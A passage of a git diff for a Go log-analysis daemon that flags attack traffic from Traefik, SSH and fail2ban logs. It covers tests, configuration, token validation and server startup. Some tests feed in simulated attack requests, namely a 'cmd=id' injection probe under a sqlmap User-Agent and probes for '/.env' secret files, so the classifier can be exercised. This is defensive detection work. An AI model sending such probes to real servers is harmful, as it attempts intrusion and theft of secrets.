h(line("203.0.113.7", "GET", "/", "Uptime-Kuma/1.23", 200)) + h(line("203.0.113.7", "GET", "/gone", "Uptime-Kuma/1.23", 404)) + if sum := st.Summary("1h"); sum.Totals.Monitoring != 2 || sum.Totals.Requests != 0 { + t.Fatalf("monitor from its network: %+v", sum.Totals) + } + h(line("198.51.100.9", "GET", "/", "Uptime-Kuma/1.23", 200)) + if sum := st.Summary("24h"); sum.Totals.Monitoring != 2 || sum.Totals.Requests != 1 { + t.Fatalf("a monitor User-Agent from a stranger is ordinary traffic: %+v", sum.Totals) + } +} + +func TestWeakMarkersNeedAnAttackTool(t *testing.T) { + r, st := runner(t, nil) + r.Enr = fakeEnr{} + h := r.handle(&source{name: "traefik", parse: traefikParse}) + h(line("45.1.1.1", "GET", "/app?cmd=build", "Mozilla/5.0", 200)) + if _, ok := st.IP("45.1.1.1"); ok { + t.Fatal("cmd= alone must not be an attack") + } + h(line("45.1.1.2", "GET", "/app?cmd=id", "sqlmap/1.7", 404)) + d, ok := st.IP("45.1.1.2") + if !ok || d.Counts["exploit"] != 1 || !d.Strong { + t.Fatalf("cmd= with an attack tool: %+v", d) + } +} + +func TestAPanicInOneLineDoesNotKillTheSource(t *testing.T) { + r, st := runner(t, nil) + r.Enr = panicEnr{} + src := &source{name: "traefik", parse: traefikParse} + h := r.handle(src) + h(line("45.1.1.3", "GET", "/.env", "x", 404)) // enrich panics + r.Enr = nil + h(line("45.1.1.4", "GET", "/.env", "x", 404)) + if _, ok := st.IP("45.1.1.4"); !ok || src.malformed.Load() != 1 { + t.Fatal("the source must keep working after a panic and count it") + } +} + +type panicEnr struct{} + +func (panicEnr) Geo(string) core.GeoInfo { panic("corrupt database") } +func (panicEnr) UA(string) core.UAInfo { return core.UAInfo{} } + +func TestTokenQualityAndFiles(t *testing.T) { + base := Config{Bind: "0.0.0.0:1", Retention: 168 * time.Hour, Ignore: DefaultIgnore, TrustedProxy: DefaultTrustedProxy} + if _, err := base.Validate(strings.Repeat("a", 40)); err == nil { + t.Fatal("aaaa... must be refused: too few distinct characters") + } + if _, err := base.Validate("abababababababababababababababab"); err == nil { + t.Fatal("two distinct characters must be refused") + } + if _, err := base.Validate(tok); err != nil { + t.Fatal(err) + } + dir := t.TempDir() + f := filepath.Join(dir, "token") + os.WriteFile(f, []byte(tok+"\n"), 0o600) + t.Setenv("URUTAU_TOKEN", "") + t.Setenv("URUTAU_TOKEN_FILE", f) + if got, err := Secret("URUTAU_TOKEN"); err != nil || got != tok { + t.Fatalf("%q %v", got, err) + } + t.Setenv("URUTAU_TOKEN_FILE", filepath.Join(dir, "missing")) + if _, err := Secret("URUTAU_TOKEN"); err == nil { + t.Fatal("a missing token file is an error") + } +} + +func TestPerPeerTokens(t *testing.T) { + t.Setenv("URUTAU_PEER_TOKEN", "") + t.Setenv("URUTAU_PEER_TOKEN_HOSTINGER", "hostinger-token-0123456789-abcdefghijklmn") + f := filepath.Join(t.TempDir(), "o") + os.WriteFile(f, []byte("oracle-token-0123456789-abcdefghijklmnopq\n"), 0o600) + t.Setenv("URUTAU_PEER_TOKEN_MY_ORACLE_FILE", f) + c, err := ParseFlags("serve", []string{"--peer", "hostinger=https://h.example.org", "--peer", "my-oracle=https://o.example.org"}) + if err != nil { + t.Fatal(err) + } + peers, err := c.Validate(tok) + if err != nil { + t.Fatal(err) + } + if peers[0].Token != "hostinger-token-0123456789-abcdefghijklmn" || peers[1].Token != "oracle-token-0123456789-abcdefghijklmnopq" { + t.Fatalf("per peer tokens: %+v", peers) + } + // Client tokens sent to peers never open the local export: a compromised + // peer knows its own token and must not read this instance with it. + if len(c.PeerTokens) != 0 { + t.Fatalf("per peer client tokens must not open the local export: %v", c.PeerTokens) + } + c.Peers = append(c.Peers, "nobody=https://n.example.org") + if _, err := c.Validate(tok); err == nil { + t.Fatal("a peer without any token must be refused") + } +} + +func TestPeerServerTokenOnlyOpensExport(t *testing.T) { + t.Setenv("URUTAU_PEER_TOKEN", "server-side-token-Zq8vN3pL0xK7mR2wT5yB9cD") + t.Setenv("URUTAU_PEER_TOKEN_HOSTINGER", "client-side-token-Hj4kL9mN2pQ7rS1tV6wX3yZ") + c, err := ParseFlags("serve", []string{"--peer", "hostinger=https://h.example.org"}) + if err != nil { + t.Fatal(err) + } + if len(c.PeerTokens) != 1 || c.PeerTokens[0] != "server-side-token-Zq8vN3pL0xK7mR2wT5yB9cD" { + t.Fatalf("export tokens: %v", c.PeerTokens) + } +} + +func TestPeerNameTokenCollision(t *testing.T) { + t.Setenv("URUTAU_PEER_TOKEN", "server-side-token-Zq8vN3pL0xK7mR2wT5yB9cD") + c, err := ParseFlags("serve", []string{"--peer", "my-peer=https://a.example.org", "--peer", "my_peer=https://b.example.org"}) + if err != nil { + t.Fatal(err) + } + if _, err := c.Validate(tok); err == nil || !strings.Contains(err.Error(), "share the token variable") { + t.Fatalf("colliding peer names must be refused, got %v", err) + } +} + +// Without explicit configuration, X-Forwarded-For is only believed from loopback. +func TestTrustedProxyDefaultIsLoopback(t *testing.T) { + os.Unsetenv("URUTAU_TRUSTED_PROXY") + c, err := ParseFlags("serve", nil) + if err != nil { + t.Fatal(err) + } + if c.TrustedProxy != "127.0.0.0/8,::1" { + t.Fatalf("default trusted proxy: %q", c.TrustedProxy) + } +} + +func TestHealthcheckCommand(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Write([]byte(`{"status":"ok"}`)) })) + defer srv.Close() + if err := Healthcheck(Config{Bind: strings.TrimPrefix(srv.URL, "http://")}); err != nil { + t.Fatal(err) + } + bad := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { http.Error(w, "x", 500) })) + defer bad.Close() + if err := Healthcheck(Config{Bind: strings.TrimPrefix(bad.URL, "http://")}); err == nil { + t.Fatal("a failing daemon is unhealthy") + } +} + +func TestDefaultIgnoreCoversPrivateRanges(t *testing.T) { + p, _ := core.ParseCIDRs(DefaultIgnore) + for _, ip := range []string{"192.168.1.5", "fd12::1", "fe80::2", "100.64.1.1", "169.254.3.3", "10.1.1.1", "127.0.0.1", "::1"} { + if !core.Ignored(p, ip) { + t.Errorf("%s must be ignored by default", ip) + } + } +} diff --git a/internal/app/config.go b/internal/app/config.go new file mode 100644 index 0000000..324c70a --- /dev/null +++ b/internal/app/config.go @@ -0,0 +1,387 @@ +// Package app wires the sources, the store, the federation hub and the server. +package app + +import ( + "flag" + "fmt" + "math" + "net" + "os" + "path/filepath" + "regexp" + "strings" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed" +) + +// Config is the runtime configuration of `urutau serve` and `urutau doctor`. +type Config struct { + Bind string + Name string + DataDir string + TraefikLog string + AuthLog string + Fail2banLog string + Ignore string // networks whose events are dropped (--ignore, alias of --trusted) + Trusted string // trusted sources, e.g. the servers themselves (--trusted) + MonitorUA string // regex of monitoring User-Agents + MonitorFrom string // networks monitors come from (empty: any source) + Domains string // optional allowlist of analytics domains + AdminUsers string // SSH users whose logins grant admin immunity (empty: any user) + PeerTokens []string // tokens accepted by /api/v1/peer/export + PeerTokenFor map[string]string // per peer name (upper case) token used by the hub + GeoDir string // directory of the geo databases (default /geo) + GeoUpdate time.Duration + Peers []string + PeerToken string + PeerAllow string // CIDRs allowed to call /api/v1/peer/export (empty: any source with the token) + TrustedProxy string // proxies whose X-Forwarded-For is believed + Retention time.Duration + NoAuth bool +} + +type listFlag []string + +func (l *listFlag) String() string { return strings.Join(*l, ",") } +func (l *listFlag) Set(v string) error { *l = append(*l, v); return nil } + +func env(key, def string) string { + if v, ok := os.LookupEnv(key); ok { + return v + } + return def +} + +// csvFlag accumulates comma separated values; the first use replaces the default. +type csvFlag struct { + val string + used bool +} + +func (c *csvFlag) String() string { return c.val } +func (c *csvFlag) Set(v string) error { + if !c.used { + c.val, c.used = v, true + } else { + c.val += "," + v + } + return nil +} + +// DefaultMonitorUA matches the usual uptime and health monitors. +const DefaultMonitorUA = `(?i)^(Uptime-Kuma/|Beszel|Coolify|kube-probe/|Go-http-client/.*healthcheck)` + +// DefaultTrustedProxy is loopback only: any other proxy (Traefik on a Docker +// network) must be named explicitly, so another container on a shared network +// cannot forge X-Forwarded-For. +const DefaultTrustedProxy = "127.0.0.0/8,::1" + +// MinTokenLen is the minimum length of URUTAU_TOKEN and URUTAU_PEER_TOKEN. +const MinTokenLen = 32 + +// DefaultIgnore are the networks whose events are dropped by default. +const DefaultIgnore = "127.0.0.0/8,::1,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,fc00::/7,fe80::/10,100.64.0.0/10,169.254.0.0/16" + +// ParseFlags reads flags (each with a URUTAU_* environment default). +func ParseFlags(name string, args []string) (Config, error) { + fs := flag.NewFlagSet(name, flag.ContinueOnError) + var c Config + host, _ := os.Hostname() + var peers listFlag + fs.StringVar(&c.Bind, "bind", env("URUTAU_BIND", "0.0.0.0:8790"), "listen address (URUTAU_BIND)") + fs.StringVar(&c.Name, "name", env("URUTAU_NAME", host), "name of this instance (URUTAU_NAME)") + fs.StringVar(&c.DataDir, "data-dir", env("URUTAU_DATA_DIR", "/data"), "snapshot directory (URUTAU_DATA_DIR)") + fs.StringVar(&c.TraefikLog, "traefik-log", env("URUTAU_TRAEFIK_LOG", "/data/coolify/proxy/access.log"), "Traefik JSON access log, empty disables (URUTAU_TRAEFIK_LOG)") + fs.StringVar(&c.AuthLog, "auth-log", env("URUTAU_AUTH_LOG", "/var/log/auth.log"), "sshd auth log, empty disables (URUTAU_AUTH_LOG)") + fs.StringVar(&c.Fail2banLog, "fail2ban-log", env("URUTAU_FAIL2BAN_LOG", "/var/log/fail2ban.log"), "fail2ban log, empty disables (URUTAU_FAIL2BAN_LOG)") + ign := &csvFlag{val: env("URUTAU_IGNORE", DefaultIgnore)} + trusted := &csvFlag{val: env("URUTAU_TRUSTED", "")} + fs.Var(ign, "ignore", "CIDRs/IPs whose events are dropped, repeatable or comma separated (URUTAU_IGNORE)") + fs.Var(trusted, "trusted", "trusted origins (your own servers) whose events are dropped, same as --ignore (URUTAU_TRUSTED)") + mfrom := &csvFlag{val: env("URUTAU_MONITOR_FROM", "")} + doms := &csvFlag{val: env("URUTAU_DOMAINS", "")} + admins := &csvFlag{val: env("URUTAU_ADMIN_USERS", "")} + fs.Var(admins, "admin-users", "SSH users whose successful logins keep their IP out of the blocklist for 24 h; empty means any user (URUTAU_ADMIN_USERS)") + fs.Var(mfrom, "monitor-from", "networks the monitoring User-Agents come from; empty trusts the User-Agent alone for benign hits (URUTAU_MONITOR_FROM)") + fs.Var(doms, "domains", "analytics domain allowlist, exact names or *.example.com; empty tracks every domain that answers 2xx/3xx (URUTAU_DOMAINS)") + fs.StringVar(&c.GeoDir, "geo-dir", env("URUTAU_GEO_DIR", ""), "geo database directory, default /geo (URUTAU_GEO_DIR)") + fs.DurationVar(&c.GeoUpdate, "geo-update", 24*time.Hour, "how often the geo database is refreshed, 0 disables downloads (URUTAU_GEO_UPDATE)") + fs.StringVar(&c.MonitorUA, "monitor-ua", env("URUTAU_MONITOR_UA", DefaultMonitorUA), "regex of monitoring User-Agents; benign hits are counted apart, empty disables (URUTAU_MONITOR_UA)") + fs.Var(&peers, "peer", "peer instance name=https://url, repeatable (URUTAU_PEERS, comma separated)") + fs.StringVar(&c.PeerToken, "peer-token", "", "bearer token shared with peers; prefer URUTAU_PEER_TOKEN or URUTAU_PEER_TOKEN_FILE") + allow := &csvFlag{val: env("URUTAU_PEER_ALLOW", "")} + tproxy := &csvFlag{val: env("URUTAU_TRUSTED_PROXY", DefaultTrustedProxy)} + fs.Var(allow, "peer-allow", "CIDRs allowed to call /api/v1/peer/export, empty allows any source with the token (URUTAU_PEER_ALLOW)") + fs.Var(tproxy, "trusted-proxy", "reverse proxies whose X-Forwarded-For is trusted for the real client IP (URUTAU_TRUSTED_PROXY)") + fs.DurationVar(&c.Retention, "retention", 7*24*time.Hour, "how long data is kept, at most 168h (URUTAU_RETENTION)") + fs.BoolVar(&c.NoAuth, "insecure-no-auth", false, "disable authentication; only allowed on a loopback bind") + if v := os.Getenv("URUTAU_GEO_UPDATE"); v != "" { + if d, err := time.ParseDuration(v); err == nil { + c.GeoUpdate = d + } + } + if v := os.Getenv("URUTAU_RETENTION"); v != "" { + if d, err := time.ParseDuration(v); err == nil { + c.Retention = d + } + } + if err := fs.Parse(args); err != nil { + return c, err + } + c.Peers = peers + c.Ignore, c.Trusted = ign.val, trusted.val + c.PeerAllow, c.TrustedProxy = allow.val, tproxy.val + c.MonitorFrom, c.Domains, c.AdminUsers = mfrom.val, doms.val, admins.val + if c.PeerToken == "" { + var err error + if c.PeerToken, err = Secret("URUTAU_PEER_TOKEN"); err != nil { + return c, err + } + } + var err error + if c.PeerTokenFor, err = perPeerTokens(); err != nil { + return c, err + } + // Only the server token opens the local export. URUTAU_PEER_TOKEN_ + // are client credentials sent to that peer: a compromised peer learns + // them, so they must never open this instance's export. + if c.PeerToken != "" { + c.PeerTokens = append(c.PeerTokens, c.PeerToken) + } + if len(c.Peers) == 0 { + for _, p := range strings.Split(os.Getenv("URUTAU_PEERS"), ",") { + if p = strings.TrimSpace(p); p != "" { + c.Peers = append(c.Peers, p) + } + } + } + if c.GeoDir == "" { + c.GeoDir = filepath.Join(c.DataDir, "geo") + } + if c.Name == "" { + c.Name = "urutau" + } + return c, nil +} + +// Validate checks the configuration and returns the parsed peers. +func (c Config) Validate(token string) ([]fed.Peer, error) { + var peers []fed.Peer + seen := map[string]bool{} + envSeen := map[string]string{} + for _, s := range c.Peers { + p, err := fed.ParsePeer(s) + if err != nil { + return nil, err + } + if seen[p.Name] || p.Name == c.Name || p.Name == "all" { + return nil, fmt.Errorf("peer name %q is duplicated or reserved", p.Name) + } + if other, dup := envSeen[tokenEnvName(p.Name)]; dup { + return nil, fmt.Errorf("peer names %q and %q share the token variable URUTAU_PEER_TOKEN_%s", other, p.Name, tokenEnvName(p.Name)) + } + envSeen[tokenEnvName(p.Name)] = p.Name + seen[p.Name] = true + peers = append(peers, p) + } + if _, err := core.ParseCIDRs(c.Ignore + "," + c.Trusted); err != nil { + return nil, fmt.Errorf("--ignore/--trusted: %w", err) + } + if c.MonitorUA != "" { + if _, err := regexp.Compile(c.MonitorUA); err != nil { + return nil, fmt.Errorf("--monitor-ua: %w", err) + } + } + if c.Retention < time.Hour { + return nil, fmt.Errorf("--retention must be at least 1h") + } + if c.NoAuth { + if !loopbackBind(c.Bind) { + return nil, fmt.Errorf("--insecure-no-auth is only allowed on a loopback bind (got %q)", c.Bind) + } + } else if err := checkToken("URUTAU_TOKEN", token); err != nil { + return nil, err + } + all := append([]string(nil), c.PeerTokens...) + if c.PeerToken != "" && !contains(all, c.PeerToken) { + all = append(all, c.PeerToken) + } + for _, t := range c.PeerTokenFor { + all = append(all, t) + } + for _, t := range all { + if err := checkToken("URUTAU_PEER_TOKEN", t); err != nil { + return nil, err + } + if t == token { + return nil, fmt.Errorf("a peer token must differ from URUTAU_TOKEN") + } + } + for i := range peers { + peers[i].Token = c.PeerTokenFor[tokenEnvName(peers[i].Name)] + if peers[i].Token == "" && c.PeerToken == "" { + return nil, fmt.Errorf("peer %q has no token: set URUTAU_PEER_TOKEN or URUTAU_PEER_TOKEN_%s", peers[i].Name, tokenEnvName(peers[i].Name)) + } + } + for _, l := range []struct{ name, v string }{{"--peer-allow", c.PeerAllow}, {"--trusted-proxy", c.TrustedProxy}, {"--monitor-from", c.MonitorFrom}} { + if _, err := core.ParseCIDRs(l.v); err != nil { + return nil, fmt.Errorf("%s: %w", l.name, err) + } + } + return peers, nil +} + +func loopbackBind(bind string) bool { + host, _, err := net.SplitHostPort(bind) + if err != nil || host == "" { + return false + } + if host == "localhost" { + return true + } + ip := net.ParseIP(host) + return ip != nil && ip.IsLoopback() +} + +// checkToken enforces a minimum quality on secrets: long, with enough +// estimated entropy, not periodic ("abcd...abcd") and not a plain run +// ("0123456789..."). Random hex or base64 output always passes. +func checkToken(name, t string) error { + const hint = " (generate one with: openssl rand -base64 48)" + if len(t) < MinTokenLen { + return fmt.Errorf("%s must have at least %d characters%s", name, MinTokenLen, hint) + } + if tokenEntropyBits(t) < MinTokenBits { + return fmt.Errorf("%s is too predictable: estimated entropy below %d bits%s", name, MinTokenBits, hint) + } + if periodic(t) || sequential(t) { + return fmt.Errorf("%s is a repeated or sequential pattern%s", name, hint) + } + return nil +} + +// MinTokenBits is the minimum estimated entropy of a token. +const MinTokenBits = 128 + +// tokenEntropyBits estimates entropy as length times the Shannon entropy of +// the token's own character distribution. 64 hex characters give ~250 bits; +// "aaaa..." gives 0. +func tokenEntropyBits(t string) float64 { + freq := map[rune]int{} + n := 0 + for _, r := range t { + freq[r]++ + n++ + } + h := 0.0 + for _, c := range freq { + p := float64(c) / float64(n) + h -= p * math.Log2(p) + } + return h * float64(n) +} + +// periodic reports whether t is a block repeated (the last copy may be cut). +func periodic(t string) bool { + for p := 1; p <= len(t)/2; p++ { + ok := true + for i := p; i < len(t); i++ { + if t[i] != t[i-p] { + ok = false + break + } + } + if ok { + return true + } + } + return false +} + +// sequential reports whether most consecutive bytes differ by +1 or -1 +// ("0123456789abcdef...", "zyxw..."). +func sequential(t string) bool { + run := 0 + for i := 1; i < len(t); i++ { + if d := int(t[i]) - int(t[i-1]); d == 1 || d == -1 { + run++ + } + } + return run*4 >= (len(t)-1)*3 +} + +func contains(l []string, v string) bool { + for _, x := range l { + if x == v { + return true + } + } + return false +} + +// Secret reads NAME, or the file named by NAME_FILE (whitespace trimmed). +func Secret(name string) (string, error) { + if v := os.Getenv(name); v != "" { + return v, nil + } + if f := os.Getenv(name + "_FILE"); f != "" { + b, err := os.ReadFile(f) + if err != nil { + return "", fmt.Errorf("%s_FILE: %w", name, err) + } + return strings.TrimSpace(string(b)), nil + } + return "", nil +} + +// tokenEnvName turns a peer name into its environment suffix: "hostinger" -> +// "HOSTINGER", "my-peer" -> "MY_PEER". +func tokenEnvName(name string) string { + return strings.Map(func(r rune) rune { + switch { + case r >= 'a' && r <= 'z': + return r - 32 + case r >= 'A' && r <= 'Z', r >= '0' && r <= '9': + return r + } + return '_' + }, name) +} + +// perPeerTokens collects URUTAU_PEER_TOKEN_ and URUTAU_PEER_TOKEN__FILE. +func perPeerTokens() (map[string]string, error) { + const prefix = "URUTAU_PEER_TOKEN_" + out := map[string]string{} + for _, kv := range os.Environ() { + k, v, _ := strings.Cut(kv, "=") + if !strings.HasPrefix(k, prefix) || k == prefix+"FILE" || v == "" { + continue + } + name := strings.TrimPrefix(k, prefix) + if strings.HasSuffix(name, "_FILE") { + b, err := os.ReadFile(v) + if err != nil { + return nil, fmt.Errorf("%s: %w", k, err) + } + out[strings.TrimSuffix(name, "_FILE")] = strings.TrimSpace(string(b)) + continue + } + if _, set := out[name]; !set { + out[name] = v + } + } + return out, nil +} + +// AdminUserList splits --admin-users into names. +func (c Config) AdminUserList() []string { + var out []string + for _, u := range strings.Split(c.AdminUsers, ",") { + if u = strings.TrimSpace(u); u != "" { + out = append(out, u) + } + } + return out +} diff --git a/internal/app/doctor.go b/internal/app/doctor.go new file mode 100644 index 0000000..35d2307 --- /dev/null +++ b/internal/app/doctor.go @@ -0,0 +1,135 @@ +package app + +import ( + "time" + + "encoding/json" + "fmt" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/geo" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store" + "io" + "os" + "path/filepath" +) + +// Check is one doctor finding. +type Check struct { + Name string `json:"name"` + Status string `json:"status"` // ok, warn, fail, off + Detail string `json:"detail"` +} + +// Doctor inspects the configuration and the environment. It returns false when +// something that prevents correct operation fails. +func Doctor(c Config, w io.Writer, asJSON bool) bool { + var checks []Check + add := func(name, status, detail string) { checks = append(checks, Check{name, status, detail}) } + + token, terr := Secret("URUTAU_TOKEN") + if terr != nil { + add("config", "fail", terr.Error()) + } else if _, err := c.Validate(token); err != nil { + add("config", "fail", err.Error()) + } else { + add("config", "ok", "token, peers and bind are valid") + } + for _, s := range []struct{ name, path string }{{"traefik", c.TraefikLog}, {"ssh", c.AuthLog}, {"fail2ban", c.Fail2banLog}} { + if s.path == "" { + add("source "+s.name, "off", "disabled") + continue + } + f, err := os.Open(s.path) + if err != nil { + add("source "+s.name, "warn", err.Error()) + continue + } + fi, _ := f.Stat() + f.Close() + add("source "+s.name, "ok", fmt.Sprintf("%s readable (%d bytes)", s.path, fi.Size())) + } + if err := os.MkdirAll(c.DataDir, 0o700); err != nil { + add("data-dir", "fail", err.Error()) + } else if f, err := os.CreateTemp(c.DataDir, ".doctor-*"); err != nil { + add("data-dir", "fail", err.Error()) + } else { + f.Close() + os.Remove(f.Name()) + add("data-dir", "ok", fmt.Sprintf("%s writable", filepath.Clean(c.DataDir))) + } + geoInfo := doctorGeo(c, add) + stateInfo := doctorState(c, add) + ok := true + for _, ch := range checks { + if ch.Status == "fail" { + ok = false + } + } + if asJSON { + enc := json.NewEncoder(w) + enc.SetIndent("", " ") + enc.Encode(map[string]any{"version": Version, "name": c.Name, "ok": ok, "checks": checks, "geo": geoInfo, "state": stateInfo}) + return ok + } + fmt.Fprintf(w, "urutau %s (%s)\n", Version, c.Name) + for _, ch := range checks { + fmt.Fprintf(w, " %-4s %-16s %s\n", ch.Status, ch.Name, ch.Detail) + } + return ok +} + +// doctorGeo reports the state of the geo databases. +func doctorGeo(c Config, add func(name, status, detail string)) map[string]any { + info := map[string]any{"dir": c.GeoDir, "attribution": Attribution, "update_every": c.GeoUpdate.String()} + g, err := geo.Open(c.GeoDir) + if err != nil { + add("geo", "warn", err.Error()) + info["error"] = err.Error() + return info + } + defer g.Close() + st := g.Status() + info["city"], info["asn"] = st.City, st.ASN + if st.LastError != "" { + info["last_error"] = st.LastError + } + if !st.LastUpdate.IsZero() { + info["last_update"] = st.LastUpdate.Format(time.RFC3339) + } + switch { + case st.City.Loaded && st.ASN.Loaded: + add("geo", "ok", fmt.Sprintf("city build %s, asn build %s", st.City.Build.Format("2006-01-02"), st.ASN.Build.Format("2006-01-02"))) + default: + add("geo", "warn", "databases not loaded yet; they are downloaded at start unless --geo-update is 0"+lastErr(st.LastError)) + } + return info +} + +func lastErr(e string) string { + if e == "" { + return "" + } + return " (last error: " + e + ")" +} + +// doctorState reads the snapshot and reports what it holds, traffic included. +func doctorState(c Config, add func(name, status, detail string)) map[string]any { + path := SnapshotPath(c.DataDir) + info := map[string]any{"path": path} + fi, err := os.Stat(path) + if err != nil { + info["exists"] = false + add("state", "ok", "no snapshot yet (fresh start)") + return info + } + info["exists"], info["bytes"] = true, fi.Size() + st := store.New(store.Config{Name: c.Name, Version: Version, Retention: c.Retention, AdminUsers: c.AdminUserList()}) + if _, err := st.Load(path); err != nil { + info["error"] = err.Error() + add("state", "warn", "snapshot unreadable, it will be set aside at start: "+err.Error()) + return info + } + tr := st.TrafficSummary("7d", "all") + info["ips"], info["traffic_domains"], info["traffic_requests_7d"] = st.IPCount(), len(tr.Domains), tr.Requests + add("state", "ok", fmt.Sprintf("%d IPs, %d domains, %d requests in 7 days", st.IPCount(), len(tr.Domains), tr.Requests)) + return info +} diff --git a/internal/app/enrich.go b/internal/app/enrich.go new file mode 100644 index 0000000..fe75588 --- /dev/null +++ b/internal/app/enrich.go @@ -0,0 +1,87 @@ +package app + +import ( + "net/netip" + "strings" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/geo" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/ua" +) + +// enricher adapts the geo and ua packages to core.Enricher. geo may be nil +// (databases missing): locations are then simply empty. +type enricher struct{ g *geo.Resolver } + +func clip(s string, n int) string { + s = strings.Map(func(r rune) rune { + if r < 0x20 || r == 0x7f { + return -1 + } + return r + }, s) + if len(s) > n { + s = strings.ToValidUTF8(s[:n], "") + } + return s +} + +func validCC(cc string) string { + if len(cc) != 2 || cc[0] < 'A' || cc[0] > 'Z' || cc[1] < 'A' || cc[1] > 'Z' { + return "" + } + return cc +} + +func (e enricher) Geo(ip string) (out core.GeoInfo) { + defer func() { + if recover() != nil { // a corrupt database must never take the daemon down + out = core.GeoInfo{} + } + }() + if e.g == nil { + return core.GeoInfo{} + } + a, err := netip.ParseAddr(ip) + if err != nil { + return core.GeoInfo{} + } + i := e.g.Lookup(a) + return core.GeoInfo{CC: validCC(i.CountryCode), Country: clip(i.Country, 80), CountryPT: clip(i.CountryPT, 80), Continent: clip(i.Continent, 40), + Region: clip(i.Region, 80), City: clip(i.City, 80), Lat: i.Lat, Lon: i.Lon, ASN: i.ASN, ASOrg: clip(i.ASOrg, 120)} +} + +func (enricher) UA(raw string) (out core.UAInfo) { + defer func() { + if recover() != nil { + out = core.UAInfo{} + } + }() + i := ua.Parse(raw) + return core.UAInfo{Browser: i.Browser, BrowserMajor: i.BrowserMajor, OS: i.OS, Device: i.Device, + Bot: i.Bot, BotName: i.BotName, Tool: i.Tool} +} + +// geoStatus reports the geo database like a log source in the Sources table. +func geoStatus(g *geo.Resolver, dir string) store.SourceStatus { + st := store.SourceStatus{Name: "geo", Path: dir, State: "following"} + if g == nil { + st.State = "waiting" + return st + } + s := g.Status() + if !s.City.Loaded || !s.ASN.Loaded { + st.State = "waiting" + } + if s.LastError != "" { + st.Error = s.LastError + } + if !s.LastUpdate.IsZero() { + st.LastEvent = s.LastUpdate.Unix() + } + return st +} + +// Attribution is the licence credit the geo data requires. +const Attribution = geo.Attribution diff --git a/internal/app/healthcheck.go b/internal/app/healthcheck.go new file mode 100644 index 0000000..079630d --- /dev/null +++ b/internal/app/healthcheck.go @@ -0,0 +1,33 @@ +package app + +import ( + "fmt" + "io" + "net" + "net/http" + "strings" + "time" +) + +// Healthcheck asks the local daemon for /api/health. It is what the container +// HEALTHCHECK runs (`urutau healthcheck`), so the image needs no curl. +func Healthcheck(c Config) error { + host, port, err := net.SplitHostPort(c.Bind) + if err != nil { + return err + } + if host == "" || host == "0.0.0.0" || host == "::" { + host = "127.0.0.1" + } + cl := &http.Client{Timeout: 3 * time.Second, CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }} + resp, err := cl.Get("http://" + net.JoinHostPort(host, port) + "/api/health") + if err != nil { + return err + } + defer resp.Body.Close() + b, _ := io.ReadAll(io.LimitReader(resp.Body, 1024)) + if resp.StatusCode != 200 || !strings.Contains(string(b), `"status":"ok"`) { + return fmt.Errorf("unhealthy: HTTP %d", resp.StatusCode) + } + return nil +} diff --git a/internal/app/serve.go b/internal/app/serve.go new file mode 100644 index 0000000..6a033c5 --- /dev/null +++ b/internal/app/serve.go @@ -0,0 +1,161 @@ +package app + +import ( + "context" + "errors" + "fmt" + "log/slog" + "net" + "net/http" + "os" + "os/signal" + "runtime/debug" + "strings" + "sync" + "syscall" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/geo" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/rdns" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server" + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store" +) + +// Serve runs the daemon until SIGTERM/SIGINT; it returns nil on a clean stop. +func Serve(c Config) error { + log := slog.New(slog.NewTextHandler(os.Stderr, nil)) + token, terr := Secret("URUTAU_TOKEN") + if terr != nil { + return terr + } + peers, err := c.Validate(token) + if err != nil { + return err + } + if os.Getenv("GOMEMLIMIT") == "" { + debug.SetMemoryLimit(160 << 20) + } + ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGTERM, syscall.SIGINT) + defer stop() + + st := store.New(store.Config{Name: c.Name, Version: Version, Retention: c.Retention, AdminUsers: c.AdminUserList()}) + st.SetDomains(splitList(c.Domains)) + rd := rdns.New() + st.SetRDNS(rd) + offsets := LoadState(st, c.DataDir, log) + runner, err := NewRunner(c, st, log) + if err != nil { + return err + } + gr, gerr := geo.Open(c.GeoDir) + if gerr != nil { + log.Warn("geo databases unavailable, locations disabled until they are downloaded", "dir", c.GeoDir, "err", gerr) + gr = nil + } + en := enricher{g: gr} + runner.Enr = en + st.SetEnricher(en) + st.SetAttribution(Attribution) + runner.Extra = func() []store.SourceStatus { return []store.SourceStatus{geoStatus(gr, c.GeoDir)} } + var hub *fed.Hub + if len(peers) > 0 { + hub = fed.NewHub(peers, c.PeerToken) + } + allow, _ := core.ParseCIDRs(c.PeerAllow) + tproxy, _ := core.ParseCIDRs(c.TrustedProxy) + ign, _ := core.ParseCIDRs(c.Ignore + "," + c.Trusted) + bindHost, _, _ := net.SplitHostPort(c.Bind) + h := server.New(server.Options{Token: token, PeerTokens: c.PeerTokens, PeerAllow: allow, TrustedProxy: tproxy, Ignore: ign, + AllowHosts: []string{bindHost}, NoAuth: c.NoAuth, Version: Version, Store: st, Hub: hub}) + ln, err := net.Listen("tcp", c.Bind) + if err != nil { + return err + } + srv := server.HTTPServer(h, ctx) + + var wg sync.WaitGroup + runner.Start(ctx, offsets, &wg) + wg.Add(2) + go func() { defer wg.Done(); rd.Run(ctx) }() + go func() { + defer wg.Done() + save := time.NewTicker(60 * time.Second) + prune := time.NewTicker(10 * time.Minute) + defer save.Stop() + defer prune.Stop() + for { + select { + case <-ctx.Done(): + return + case <-save.C: + if err := runner.Save(); err != nil { + log.Warn("snapshot failed", "err", err) + } + case <-prune.C: + if n := st.Prune(); n > 0 { + log.Info("pruned old IPs", "n", n) + } + } + } + }() + if gr != nil 